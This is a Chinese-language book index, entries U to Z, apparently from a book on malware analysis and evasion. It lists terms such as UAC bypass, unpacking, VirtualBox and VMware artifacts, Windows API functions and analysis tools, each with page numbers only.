UAC。参见 用户账户控制
-
UACME,253
-
UEFI(统一可扩展固件接口),285–288
-
未对齐的函数调用,140–141
-
不常见的函数,141–142
-
未处理的异常,178
-
卸载钩子,139,238,137
-
unicode(即宽字符)字符串,27
-
Unicorn,421
-
不必要的代码,155–156
-
不必要的跳转语句,154–155
-
解包
-
在没有分析的情况下,383
-
反解包技术,383–385
-
自动化,354–383
-
完全自动化,355
-
沙箱辅助,355–357
-
手动动态,357–382
-
手动静态,382–383
-
进程概述,348–349
-
修复可执行文件,375–377
-
UnpacMe,31,356,437
-
Upclicker,100
-
正常运行时间,101
-
uptime.exe,102
-
UPX,346,348,353
-
USB 控制器,107
-
user32.dll,8,138
-
用户账户控制(UAC)
-
绕过,248–254,269
-
提示,250,253
-
用户模式 API,7
-
用户名枚举,90
-
V
-
值,Windows 注册表,16
-
VBA(Visual Basic for Applications),290
-
基于 VBA 宏的恶意软件,295
-
VboxCloak,403,410
-
VboxHardenedLoader,414
-
VBScript,300
-
向量化异常处理(VEH),192–193
-
版本信息枚举,92–93
-
Windows 版本,93
-
Virlock,244
-
VirtualAlloc 函数,7,13,199–208,296,359–362,366,434
-
VirtualBox,79–81
-
隐蔽,410
-
在中创建虚拟机,392–400,404–406
-
默认 IP 地址范围,109–110
-
设备,90
-
驱动程序,88–89,272
-
客户机附加服务,83–86,401–404
-
强化,414
-
在实验室设置中,390–391
-
互斥体,86
-
路径,79
-
管道,87
-
前缀,107,112,397
-
进程名称,77
-
注册表项,82
-
快照,408,419
-
字符串,83,108,125,410
-
更新,419
-
验证设置,391
-
在 WMI 输出中,304
-
虚拟机(VMs),20
-
创建,392–393
-
目录和文件枚举,78–79
-
转义,146
-
基于内核,390
-
在打包器中,385
-
进程在,77
-
快照,388–389,408–409
-
工具,402–404
-
虚拟内存,11–13
-
虚拟 PC,120,126
-
虚拟专用网络(VPNs),112,418
-
VirtualProtect 函数, 139–141, 177, 221, 362–363
-
VirtualQuery 函数, 176, 434
-
病毒, xxiv
-
VirusShare, 438
-
VirusSign, 438
-
VirusTotal, xxix, 24–25, 31, 39, 119, 437–438
-
Visual Basic for Applications (VBA), 290
-
虚拟机。参见 虚拟机
-
VMProtect, 346
-
VMRay, 31, 356
-
VMware
-
Carbon Black, 233
-
在中创建虚拟机, 391, 393–400, 404–406
-
默认 IP 地址范围, 109
-
设备, 90
-
驱动程序, 78, 89
-
Fusion, 390–391
-
客户机认证服务, 84
-
加固, 412–414
-
IO 端口, 124–125
-
互斥锁, 85–86
-
路径, 79
-
管道, 87
-
前缀, 111, 397
-
进程名称, 77
-
注册表项, 81–82
-
快照, 408–409
-
字符串, 108, 125, 410
-
工具服务, 84, 402–404
-
更新, 419
-
存在的漏洞, 146
-
工作站, 80, 86–87, 89–90, 125, 390–391
-
VMwareCloak, 403, 410
-
VMX (.vmx) 文件, 413
-
VMX IO 端口, 124–125
-
波动性, 279–280
-
卷影复制服务 (VSS), 255–256
-
vpcext 指令, 126
-
VPN(虚拟私人网络), 112, 418
-
漏洞, 提权利用, 255–256
-
vx-underground, 438
-
W
-
壁纸枚举, 98
-
Walters, Aaron, 436
-
Warzone RAT, 26
-
观察表达式,192
-
Web 代理,39
-
宽字符(即 Unicode)字符串,27
-
Windows,桌面,98
-
Windows API (WinAPI),4,6–9
-
格式,8
-
函数名中的后缀,8
-
Windows 命令行,300。 另见 cmd.exe
-
Windows 事件日志,312–315
-
Windows 事件查看器,312
-
Windows 镜像下载,391–392
-
Windows 管理工具 (WMI),81,231,236,279,303–304
-
Windows 管理工具控制台 (WMIC),29,83,102,304
-
Windows 本机 API
-
与 WinApi 的交互,7
-
函数名中的后缀,8
-
Windows PE 加载程序,13
-
Windows 注册表
-
隐藏配置,409–410
-
枚举,80–83
-
注册表项,VirtualBox, 82
-
注册表项,VMware,81
-
Hive,16
-
恶意软件行为分析,38
-
注册表编辑器 (Regedit),17
-
注册表驻留的恶意软件,291–292
-
值,16
-
Windows 脚本宿主,300
-
Windows 服务控制器,270
-
Windows 启动修复,316
-
Windows 子系统进程,249
-
Windows 更新,401
-
Windows 更新服务,237
-
Winhttp.dll,8,30,142
-
WinObj,88
-
Winusb.dll,107
-
擦除工具,xxiii
-
Wireshark,36,39
-
WMI(Windows 管理工具),81,231,236,279,303–304
-
WMIC(Windows 管理工具控制台),29,83,102,304
-
WNetGetProviderName 函数,79
-
字(数据类型),44
-
蠕虫,xxiv
-
Wow64SetThreadContext 函数,176,429
-
Wow64SuspendThread 函数, 207, 433
-
WriteFile 函数, 30, 37
-
WriteProcessMemory 函数, 30, 175, 199–201, 203, 206–208, 220–221, 296, 434
-
wscript.exe, 300
-
X
-
x64(64 位)汇编代码, 44, 47, 192–193
-
64 位 SEH, 192–193
-
x64dbg. 另见 调试
-
向中添加观察表达式, 192
-
使用分析, 62–68
-
断点设置, 175, 365
-
转储内存到文件, 375
-
补丁, 68–69
-
插件, 181–183, 358, 375, 382
-
在中启动会话, 58–62
-
和系统工件, 172–173
-
与反汇编器一起使用, 160
-
x86(32 位)汇编代码, 44, 47
-
XDR(扩展检测与响应), 232. 另见 端点检测与响应
-
XMM 寄存器, 126
-
XOR(异或), 327–331, 340
-
XORSearch, 329
-
Y
-
Yara, 24, 26–27, 32, 405
-
Yason, Mark Vincent, 180, 437
-
Yehoshua, Nir, 247, 437
-
Yomi, 437
-
Yosifovich, Pavel, 436
-
Z
-
零标志(ZF), 47–50
-
Zeus, 309
-
ZwCreateFile 函数, 213
-
ZwCreateTransaction 函数, 213
-
ZwNotifyChangeKey 函数, 8


浙公网安备 33010602011771号